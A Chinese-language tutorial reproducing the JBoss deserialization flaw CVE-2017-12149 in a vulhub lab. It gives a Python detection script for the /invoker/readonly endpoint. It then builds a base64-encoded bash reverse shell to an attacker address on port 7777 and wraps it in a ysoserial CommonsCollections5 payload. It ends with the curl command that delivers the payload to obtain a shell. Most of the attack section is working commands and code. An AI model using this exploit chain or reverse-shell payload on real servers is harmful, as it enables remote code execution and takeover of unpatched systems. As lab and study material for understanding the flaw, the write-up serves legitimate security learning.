0x01 漏洞简介
JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。2017年8月30日,厂商Redhat发布了一个JBOSS的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
影响版本:
0x02 漏洞环境
执行下面命令启动漏洞环境:
1 2
| cd /vulhub/jboss/CVE-2017-12149 sudo docker-compose up -d
|
首次执行时会有1~3分钟时间初始化,初始化完成后访问http://your-ip:8080/
即可看到JBoss默认页面。
0x03 漏洞复现
1. 漏洞检测POC
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化。
使用POC脚本进行漏洞检测
1
| python cve-2017-12149_poc.py http://192.168.126.130:8080/
|
POC脚本源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
|
import requests import sys
if len(sys.argv)!=2: print('+---------------------------------------------------------------+') print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +') print('+---------------------------------------------------------------+') print('+ USE: python <filename> <url> +') print('+ EXP: python cve-2017-12149_poc.py http://freeerror.org:8080 +') print('+ VER: Jboss AS 5.X +') print('+ Jboss AS 6.X +') print('+---------------------------------------------------------------+') sys.exit() url = sys.argv[1]
vulurl = url+"/invoker/readonly"
headers = { 'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0", 'Accept': "*/*", 'Content-Type': "application/json", 'X-Requested-With': "XMLHttpRequest", 'Connection': "close", 'Cache-Control': "no-cache" }
try: r =requests.post(vulurl, headers=headers, verify=False) e=r.status_code except: print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck") sys.exit() if e == 500: print ("[+] Target "+url+" Find CVE-2017-12149 EXP:https://github.com/zhzyker/exphub") else: print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck") exit()
|
2. 编写反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| bash -i >& /dev/tcp/192.168.126.128/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" > exp.ser
Tips1:ysoserical用法:java -jar ysoserial.jar [payload] “[command]” Tips2:由于目标jdk版本过高,因此这里使用的利用库为CommonsCollections5(具体根据对方jdk版本选择) Tips3:我们使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码再使用
|
3. 获取目标shell
在接收shell的攻击主机上开启端口监听
通过二进制POST方式发送攻击载荷exp.ser
到 /invoker/readonly
1
| curl http://192.168.126.130:8080/invoker/readonly --data-binary @exp.ser
|

成功接收到反弹的shell:
